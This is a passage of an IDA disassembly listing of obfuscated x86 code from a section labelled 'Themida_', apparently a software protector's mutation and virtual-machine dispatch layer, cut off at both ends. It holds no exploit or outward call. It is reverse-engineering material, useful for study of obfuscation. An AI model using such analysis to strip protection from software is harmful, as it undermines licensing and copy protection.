; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	534Fh
		mov	[esp], ecx
		jmp	loc_553D11
; ---------------------------------------------------------------------------


loc_55C0C3:				; CODE XREF: Themida_:0055B436j
		push	ebx
		mov	ebx, 79FB2ED2h
		or	ebx, 7C470245h
		not	ebx
		add	ebx, 645246BAh
		add	ebx, 19ACE822h
		jmp	loc_55B08E
; ---------------------------------------------------------------------------


loc_55C0E2:				; CODE XREF: Themida_:00551E5Dj
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_559105
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C0F4:				; CODE XREF: sub_556A70+A6Fj
		add	esi, ebp
		jmp	loc_5540BE
; ---------------------------------------------------------------------------


loc_55C0FB:				; CODE XREF: sub_556A70+3462j
		xchg	edi, ecx
		pop	edi
		push	ecx
		dec	[esp+2+var_4+2]
		pop	ecx
		or	ecx, 71EF3C05h
		or	ecx, 4C7F5E30h
		push	eax
		mov	eax, 0F599A9FAh
		xor	ecx, eax
		pop	eax
		sub	ebx, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		add	ebx, edi
		push	edi
		mov	edi, 866564Fh
		add	ebx, edi
		pop	edi
		mov	ecx, [ebx]
		mov	ebx, [esp-6+arg_0+2]
		add	esp, 4
		jmp	loc_552EC0
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C13B:				; CODE XREF: Themida_:0055BD13j
		mov	si, 3DBh
		and	si, 73BEh
		and	si, 5663h
		shr	si, 2
		add	si, 3733h
		jmp	loc_556E85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557F09


loc_55C157:				; CODE XREF: sub_557F09+37A7j
		inc	ebx
		push	edi
		mov	edi, 1
		add	ebx, edi
		jmp	loc_551062
; END OF FUNCTION CHUNK	FOR sub_557F09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C165:				; CODE XREF: sub_556A70-28B2j
		add	bl, 38h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+0]
		pop	esp
		jmp	loc_55A560
; ---------------------------------------------------------------------------


loc_55C183:				; CODE XREF: sub_556A70-29C3j
		mov	ecx, 5A835F3Bh
		push	ebx
		mov	ebx, 38785C91h
		add	ecx, 7197537Bh
		sub	ecx, ebx
		sub	ecx, 7197537Bh
		pop	ebx
		jmp	loc_55A913
; ---------------------------------------------------------------------------


loc_55C1A2:				; CODE XREF: sub_556A70+620Ej
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55C1A7:				; CODE XREF: sub_556A70-3B45j
		pop	ecx
		not	edx
		neg	edx
		inc	edx
		push	ebp
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		push	4D1F55CAh
		pop	ecx
		dec	ecx
		sub	ecx, 1
		xchg	esi, ecx
		jmp	loc_552A49
; ---------------------------------------------------------------------------


loc_55C1C8:				; CODE XREF: sub_556A70+2586j
		xchg	ecx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_5590B5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C1D3:				; CODE XREF: Themida_:005553B2j
		xor	eax, [esp]
		jmp	loc_5548F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551E74


loc_55C1DB:				; CODE XREF: sub_551E74+8A6Ej
		mov	eax, 74627DE7h
		add	ebx, eax
		pop	eax
		mov	esi, [esp+0]
		jmp	loc_55C61C
; END OF FUNCTION CHUNK	FOR sub_551E74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C1EB:				; CODE XREF: sub_556A70-15D7j
		xor	ebx, 52BA268Ah
		jmp	loc_550E21
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A748


loc_55C1F6:				; CODE XREF: sub_55A748-614Fj
		add	edx, 4
		jmp	loc_555FB4
; END OF FUNCTION CHUNK	FOR sub_55A748
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C1FE:				; CODE XREF: sub_556A70+4C05j
		push	1E4h
		jmp	loc_5516D2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C208:				; CODE XREF: Themida_:0055AFCBj
		mov	[esp], eax
		jmp	loc_558366
; ---------------------------------------------------------------------------


loc_55C210:				; CODE XREF: Themida_:00554654j
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5556AC
; ---------------------------------------------------------------------------


loc_55C23E:				; CODE XREF: Themida_:00551994j
		sub	cl, 0BEh
		add	cl, 24h
		pop	ebx
		jmp	loc_55AE03
; ---------------------------------------------------------------------------


loc_55C24A:				; CODE XREF: Themida_:0055AF66j
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_5578AE

; =============== S U B	R O U T	I N E =======================================



sub_55C259	proc near		; CODE XREF: sub_557F09-29F2j

; FUNCTION CHUNK AT 0055BE23 SIZE 0000000B BYTES

		push	ebp
		push	1087076Ah
		pop	ebp
		add	ebp, 343B0520h
		shr	ebp, 5
		jmp	loc_55BE23
sub_55C259	endp

; ---------------------------------------------------------------------------


loc_55C26E:				; CODE XREF: Themida_:00555A9Cj
		push	ebp
		push	esp
		pop	ebp
		push	eax
		jmp	loc_555AC1
; ---------------------------------------------------------------------------


loc_55C277:				; CODE XREF: Themida_:00555FF8j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	esi
		push	esp
		pop	esi
		push	edx
		jmp	loc_5525AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5519E5


loc_55C290:				; CODE XREF: sub_5519E5+18j
		pop	esp
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_5519E5
; ---------------------------------------------------------------------------


loc_55C296:				; CODE XREF: Themida_:00555354j
		xor	esi, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5548D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C746


loc_55C2AC:				; CODE XREF: sub_55C746+4j
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	eax, [esp+4+var_4]
		sub	esp, 4
		jmp	loc_559184
; END OF FUNCTION CHUNK	FOR sub_55C746
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554299


loc_55C2C3:				; CODE XREF: sub_554299+B4Bj
		sub	ecx, 53196E7Ch
		push	ebp
		mov	ebp, 2A5200ACh
		add	ecx, ebp
		jmp	loc_55BECD
; END OF FUNCTION CHUNK	FOR sub_554299
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C2D6:				; CODE XREF: sub_556A70-5EFFj
		pop	edx
		push	ecx
		jmp	loc_553AC4
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C2DD:				; CODE XREF: Themida_:00553B35j
		push	4152h
		mov	[esp], edi
		mov	edi, 2A743923h
		shr	edi, 5
		jmp	loc_55BBF4
; ---------------------------------------------------------------------------


loc_55C2F2:				; CODE XREF: Themida_:00555108j
		pop	ebx
		push	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_55A31B

; =============== S U B	R O U T	I N E =======================================



sub_55C2FC	proc near		; CODE XREF: sub_556A70+5BE5j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	sub_55B403
sub_55C2FC	endp

; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_556D88
; ---------------------------------------------------------------------------


loc_55C321:				; CODE XREF: Themida_:0055614Cj
		pop	edx
		push	2480h
		mov	[esp], edx
		mov	edx, 78FB0453h
		shr	edx, 6
		push	ecx
		mov	ecx, 62886EFAh
		add	edx, ecx
		pop	ecx
		sub	ebp, edx
		jmp	loc_55640D
; ---------------------------------------------------------------------------


loc_55C342:				; CODE XREF: Themida_:0055B1EAj
		mov	[esp], edi
		mov	edi, 4
		add	[esp+4], edi
		jmp	loc_5576F7
; ---------------------------------------------------------------------------


loc_55C353:				; CODE XREF: Themida_:00554228j
		mov	ch, 7Bh
		mov	al, 6Eh
		jmp	loc_55C521
; ---------------------------------------------------------------------------


loc_55C35C:				; CODE XREF: Themida_:00555749j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	esi
		mov	esi, 4
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_5565C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C384:				; CODE XREF: sub_556A70-23FFj
		xchg	eax, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		bt	[esp-4+arg_0], eax
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C394:				; CODE XREF: Themida_:00551028j
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55118E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C3A1:				; CODE XREF: sub_556A70+541j
		xor	edx, 6FD00DCDh
		and	ebx, edx
		pop	edx
		shr	ebx, 6
		inc	ebx
		jmp	loc_555620
; ---------------------------------------------------------------------------


loc_55C3B3:				; CODE XREF: sub_556A70-5EC6j
		or	edx, eax
		shl	edx, 1
		jmp	loc_55B24C
; ---------------------------------------------------------------------------


loc_55C3BC:				; CODE XREF: sub_556A70+5C00j
		mov	edi, 0A888B031h
		add	edi, ecx
		pop	ecx
		add	eax, edi
		mov	edi, [esp-12h+arg_C+2]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	4120h
		mov	[esp-0Eh+arg_8+2], esi
		push	6A8Fh
		mov	[esp-0Ah+arg_4+2], ebp
		push	4D6D204Dh
		jmp	loc_555EFA
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C3E9:				; CODE XREF: Themida_:005557E1j
		shr	ebp, 3
		xor	ebp, 5050B24h
		add	ecx, 4B0E370Fh
		add	ecx, ebp
		sub	ecx, 4B0E370Fh
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_557B54
; ---------------------------------------------------------------------------


loc_55C40F:				; CODE XREF: Themida_:00559E5Dj
		xor	bp, [esp]
		jmp	loc_5574E4
; ---------------------------------------------------------------------------


loc_55C418:				; CODE XREF: Themida_:00551875j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 35FE6F10h
		add	ebx, 0CA0190F4h
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_55B32C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C434:				; CODE XREF: sub_556A70-39B2j
		mov	ecx, [esp+14h+var_14]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+18h+var_18]
		pop	esp
		add	esp, 4
		push	5BDFh
		mov	[esp+14h+var_14], edi
		push	67DBh
		jmp	loc_559B84
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C462:				; CODE XREF: Themida_:00554D87j
		push	edx
		mov	edx, 2CC56E10h
		dec	edx
		jmp	loc_55CBAE
; ---------------------------------------------------------------------------


loc_55C46E:				; CODE XREF: Themida_:005538AEj
		not	edx
		inc	edx
		add	edx, 57477935h
		xor	esi, edx
		pop	edx
		mov	ebx, esi
		pop	esi
		add	esi, ebx
		jmp	loc_554A3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5557A0


loc_55C484:				; CODE XREF: sub_5557A0+9j
		mov	ecx, 60626A4Bh
		push	ebx
		mov	ebx, 664055E9h
		sub	ebx, 2979F179h
		sub	ecx, ebx
		pop	ebx
		sub	[esp+4], ecx
		jmp	loc_55A003
; END OF FUNCTION CHUNK	FOR sub_5557A0
; ---------------------------------------------------------------------------


loc_55C4A1:				; CODE XREF: Themida_:00557F5Bj
		mov	dl, al
		jmp	loc_554E08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C4A8:				; CODE XREF: sub_556A70+637Ej
		add	edx, 4
		xchg	edx, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		sub	ebp, 3737B0BAh
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp+14h+var_14]
		pop	esp
		mov	word ptr [esp+10h+var_10], dx
		push	ax
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C4CA:				; CODE XREF: Themida_:0055B857j
		mov	ebx, 19BA5A5Bh
		mov	esi, 28F91424h
		add	esi, ebx
		pop	ebx
		add	esi, 0E49B5DDh
		mov	ebx, esi
		pop	esi
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		inc	ebx
		jmp	loc_553F40
; ---------------------------------------------------------------------------


loc_55C4EB:				; CODE XREF: Themida_:00555312j
		mov	[esp], esi
		jmp	loc_554FA4
; ---------------------------------------------------------------------------


loc_55C4F3:				; CODE XREF: Themida_:00558B1Bj
		pop	ebx
		pop	ebx
		push	7889h
		mov	[esp], ebx
		mov	bl, 73h
		add	al, bl
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_559DAC
; ---------------------------------------------------------------------------


loc_55C50F:				; CODE XREF: Themida_:00559DC9j
		pop	ebx
		push	edx
		mov	edx, 4DAA288Dh
		or	edx, 799A3A5Ch
		jmp	loc_556F22
; ---------------------------------------------------------------------------


loc_55C521:				; CODE XREF: Themida_:0055C357j
		sub	al, ch
		pop	ecx
		push	bx
		mov	bh, dl
		push	ecx
		mov	cl, al
		mov	dl, cl
		pop	ecx
		jmp	loc_5593EF
; ---------------------------------------------------------------------------


loc_55C533:				; CODE XREF: Themida_:0055540Bj
		mov	ebx, esp
		push	esi
		push	ebp
		mov	ebp, 753F51C1h
		not	ebp
		xor	ebp, 7BCB1384h
		dec	ebp
		sub	ebp, 0EC69AFACh
		mov	esi, ebp
		pop	ebp
		shr	esi, 6
		jmp	loc_551AE1
; ---------------------------------------------------------------------------


loc_55C556:				; CODE XREF: Themida_:00555FAFj
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C560:				; CODE XREF: sub_556A70+5E29j
		push	edx
		mov	dh, 0DEh
		mov	ah, 1Fh
		add	ah, dh
		pop	edx
		push	ecx
		push	ebx
		mov	bh, 98h
		not	bh
		dec	bh
		xor	bh, 0B8h
		mov	ch, bh
		pop	ebx
		jmp	loc_553E43
; ---------------------------------------------------------------------------


loc_55C57B:				; CODE XREF: sub_556A70+3E26j
		xor	edx, 33404D0Ch
		push	eax
		jmp	loc_55AEA6
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C587:				; CODE XREF: Themida_:00551194j
		xor	eax, [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55C594:				; CODE XREF: Themida_:00552F63j
		push	edx
		jmp	loc_553051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559F2D


loc_55C59A:				; CODE XREF: sub_559F2D-375Fj
		push	ecx
		mov	ecx, 6C1903C6h
		sub	ecx, 6C1903C2h
		add	edx, ecx
		pop	ecx
		jmp	loc_55B4B5
; END OF FUNCTION CHUNK	FOR sub_559F2D
; ---------------------------------------------------------------------------


loc_55C5AE:				; CODE XREF: Themida_:0055AFFFj
		mov	cl, 0CBh
		push	edx
		mov	dl, 73h
		dec	dl
		and	dl, 88h
		add	dl, 57h
		and	dl, 0C5h
		add	dl, 61h
		sub	cl, dl
		pop	edx
		sub	cl, 4Eh
		sub	cl, 0Ah
		sub	esp, 4
		mov	[esp], edx
		mov	dl, cl
		mov	bl, dl
		jmp	loc_55CF7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C5D9:				; CODE XREF: sub_556A70-149Bj
		sub	eax, 30221509h
		mov	esi, [esp+4+var_4]
		add	esp, 4
		jmp	sub_5599E2
; ---------------------------------------------------------------------------


loc_55C5E9:				; CODE XREF: sub_556A70-C41j
		pop	esi
		push	ecx
		jmp	loc_558E83
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554299


loc_55C5F0:				; CODE XREF: sub_554299+442Dj
		sub	ebp, 8268F456h
		sub	ecx, 2A5200ACh
		jmp	loc_554DDC
; END OF FUNCTION CHUNK	FOR sub_554299
; ---------------------------------------------------------------------------


loc_55C601:				; CODE XREF: Themida_:005561B7j
		pop	esi
		jmp	loc_55CB21

; =============== S U B	R O U T	I N E =======================================



sub_55C607	proc near		; CODE XREF: sub_556A70-369Ej

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], esp
		push	edi
		mov	edi, 4
		add	[esp+8+var_4], edi
		jmp	loc_557471
sub_55C607	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551E74


loc_55C61C:				; CODE XREF: sub_551E74+A372j
		add	esp, 4
		sub	ebx, eax
		jmp	loc_559518
; END OF FUNCTION CHUNK	FOR sub_551E74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55515F


loc_55C626:				; CODE XREF: sub_55515F-36E8j
		add	ecx, ebx
		pop	ebx
		add	ecx, 2
		xchg	ecx, [esp+6+var_6]
		pop	esp
		jmp	loc_5510DA
; END OF FUNCTION CHUNK	FOR sub_55515F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553651


loc_55C638:				; CODE XREF: sub_553651-CA2j
		add	ebx, eax
		push	ecx
		mov	ecx, 617F52E6h
		add	ebx, ecx
		jmp	loc_554CAC
; END OF FUNCTION CHUNK	FOR sub_553651
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C647:				; CODE XREF: sub_556A70+6FFj
		sub	ebx, esi
		pop	esi
		jmp	loc_5515EF
; ---------------------------------------------------------------------------


loc_55C64F:				; CODE XREF: sub_556A70-9EFj
		add	ebp, 4
		jmp	sub_55C2FC
; ---------------------------------------------------------------------------


loc_55C65A:				; CODE XREF: sub_556A70+2CC1j
		sub	ebx, eax
		jmp	loc_5581F5
; ---------------------------------------------------------------------------


loc_55C661:				; CODE XREF: sub_556A70+3399j
		xor	[esp+14h+var_14], ecx
		xor	ecx, [esp+14h+var_14]
		pop	esp
		pop	eax
		push	edi
		push	ecx
		mov	ecx, 59E46BEBh
		jmp	loc_55C3BC
; ---------------------------------------------------------------------------


loc_55C675:				; CODE XREF: sub_556A70+30ABj
		xor	ebp, [esp-1Eh+arg_18+2]
		xor	[esp-1Eh+arg_18+2], ebp
		xor	ebp, [esp-1Eh+arg_18+2]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-1Eh+arg_18+2]
		pop	esp
		jmp	loc_55416D
; ---------------------------------------------------------------------------


loc_55C694:				; CODE XREF: sub_556A70+2877j
		pop	ebx
		add	ecx, 2
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		pop	esp
		sub	word ptr [esp-4+arg_0],	ax
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C6AC:				; CODE XREF: Themida_:0055CA86j
		push	edx
		jmp	loc_550FA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C6B2:				; CODE XREF: sub_556A70+3747j
		xor	eax, ebx
		jmp	loc_559FAF
; ---------------------------------------------------------------------------


loc_55C6B9:				; CODE XREF: sub_556A70+17D2j
		xor	esi, [esp-1Eh+arg_18+2]
		pop	esp
		mov	[esp-22h+arg_1C+2], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 57C72EE9h
		jmp	loc_55A683
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C6CD:				; CODE XREF: Themida_:00551853j
		xchg	esi, edi
		shr	edi, 7
		dec	edi
		add	edi, 5B4BABD9h
		add	edx, edi
		jmp	loc_55B85C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5563FF


loc_55C6E0:				; CODE XREF: sub_5563FF+6799j
		mov	[esp+0], ebp
		mov	ebp, 2
		add	ecx, 6292656Ch
		sub	ecx, ebp
		sub	ecx, 6292656Ch
		mov	ebp, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	loc_5574F7
; END OF FUNCTION CHUNK	FOR sub_5563FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BDF1


loc_55C704:				; CODE XREF: sub_55BDF1-65EDj
		mov	ebx, 0FDFFFBFCh
		add	ecx, ebx
		pop	ebx
		push	19A0h
		jmp	loc_556EBE
; END OF FUNCTION CHUNK	FOR sub_55BDF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C716:				; CODE XREF: sub_556A70-27E4j
		mov	[esp+4+var_4], ecx
		jmp	loc_5521D2
; ---------------------------------------------------------------------------


loc_55C71E:				; CODE XREF: sub_556A70-1455j
		mov	edx, 34BF0905h
		or	ecx, edx
		pop	edx
		dec	ecx
		sub	ecx, 7BD8278Dh
		inc	ecx
		push	esi
		mov	esi, 571548C8h
		xor	ecx, esi
		pop	esi
		sub	ecx, 0AC325A7Eh
		add	esi, ecx
		pop	ecx
		push	ecx
		jmp	loc_558033
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_55C746	proc near		; CODE XREF: sub_556A70-22AAj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00559184 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0055C2AC SIZE 00000017 BYTES

		push	ebx
		mov	edx, [esp+4+var_4]
		jmp	loc_55C2AC
sub_55C746	endp

; ---------------------------------------------------------------------------


loc_55C74F:				; CODE XREF: Themida_:0055A279j
		pop	edx
		sub	edx, 6A674268h
		add	edx, esi
		jmp	loc_55B9DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C75D:				; CODE XREF: sub_556A70+2A32j
		shl	ah, 8
		inc	ah
		jmp	loc_55138A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C767:				; CODE XREF: Themida_:0055866Ej
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55BCEC
; ---------------------------------------------------------------------------


loc_55C770:				; CODE XREF: Themida_:00559CC7j
		movzx	cx, al
		push	eax
		mov	eax, esp
		jmp	loc_55C904
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_555F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C785:				; CODE XREF: sub_556A70+1691j
		xchg	ebp, esi
		shr	esi, 7
		sub	esi, 0E85CE10Bh
		add	eax, esi
		push	[esp+4+var_4]
		jmp	loc_555AF5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C79A:				; CODE XREF: Themida_:00551396j
		push	ecx
		mov	ch, 0CBh
		sub	ch, 0AAh
		jmp	loc_557BEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5516F8


loc_55C7A5:				; CODE XREF: sub_5516F8+Ej
		xor	ebx, 5C9A6050h
		jmp	loc_552501
; END OF FUNCTION CHUNK	FOR sub_5516F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C7B0:				; CODE XREF: sub_556A70+3512j
		mov	eax, [esp+4+var_4]
		add	esp, 4
		pop	ecx
		add	ecx, 4DC525C2h
		mov	edx, ecx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_5580E2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C7D3:				; CODE XREF: Themida_:0055987Ej
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C7DD:				; CODE XREF: sub_556A70-274Ej
		add	edx, 58387D89h
		sub	edx, eax
		push	ebp
		jmp	loc_55226F
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C7EB:				; CODE XREF: Themida_:0055B864j
		push	ebx
		mov	ebx, 0ED02ACCh
		or	ebx, 2E8F1315h
		inc	ebx
		inc	ebx
		jmp	loc_55554D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5516F8


loc_55C7FE:				; CODE XREF: sub_5516F8+8B0Dj
		sub	ecx, edx
		jmp	loc_55C028
; END OF FUNCTION CHUNK	FOR sub_5516F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A5DF


loc_55C805:				; CODE XREF: sub_55A5DF+27j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_55A5DF
; ---------------------------------------------------------------------------
		popa
		jmp	locret_55310F
; ---------------------------------------------------------------------------


loc_55C811:				; CODE XREF: Themida_:00553552j
		sub	edx, ebx
		pop	ebx
		sub	esi, 739029F4h
		add	esi, edx
		add	esi, 739029F4h
		mov	edx, [esp]
		jmp	loc_5528B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C82A:				; CODE XREF: sub_556A70+397Aj
		add	ebx, esi
		jmp	sub_551E74
; ---------------------------------------------------------------------------


loc_55C831:				; CODE XREF: sub_556A70-2943j
		pop	esi
		pop	dword ptr [esp+0]
		jmp	loc_5510A5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5C


loc_55C83A:				; CODE XREF: sub_557D5C+21j
		add	ebx, ebp
		pop	ebp
		jmp	loc_5577AD
; END OF FUNCTION CHUNK	FOR sub_557D5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5567EA


loc_55C842:				; CODE XREF: sub_5567EA+2383j
		pop	ebx
		add	esp, 4
		push	7B0Dh
		mov	[esp+4+var_4], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		jmp	loc_556D11
; END OF FUNCTION CHUNK	FOR sub_5567EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C864:				; CODE XREF: sub_556A70-4545j
		add	edx, 4E7940FFh
		or	edx, 45255EACh
		neg	edx
		add	edx, 0E3FC742Ah
		mov	edi, edx
		pop	edx
		and	edi, 641D65BFh
		dec	edi
		push	ebx
		push	edx
		mov	edx, 1F067280h
		mov	ebx, edx
		jmp	loc_554B55
; ---------------------------------------------------------------------------


loc_55C890:				; CODE XREF: sub_556A70+1AD0j
		pop	eax
		pop	ecx
		push	ecx
		mov	ch, 49h
		or	dl, ch
		pop	ecx
		push	eax
		jmp	loc_55C560
; ---------------------------------------------------------------------------


loc_55C89E:				; CODE XREF: sub_556A70+1A59j
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		jmp	loc_552189
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C8A9:				; CODE XREF: Themida_:005593DAj
		add	esi, ecx
		pop	ecx
		jmp	loc_55AAC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5526D6


loc_55C8B1:				; CODE XREF: sub_5526D6-816j
		add	ebp, 532E01B4h
		jmp	loc_558F69
; END OF FUNCTION CHUNK	FOR sub_5526D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C8BC:				; CODE XREF: sub_556A70+6B7j
		add	esp, 4
		mov	ecx, [esp+6+var_8+2]
		jmp	loc_551204
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_551E41
; ---------------------------------------------------------------------------


loc_55C8D6:				; CODE XREF: Themida_:005525E8j
		mov	bl, 0FDh
		not	bl
		and	bl, 57h
		shr	bl, 6
		push	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	ah, 0AFh
		jmp	loc_5520DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559F2D


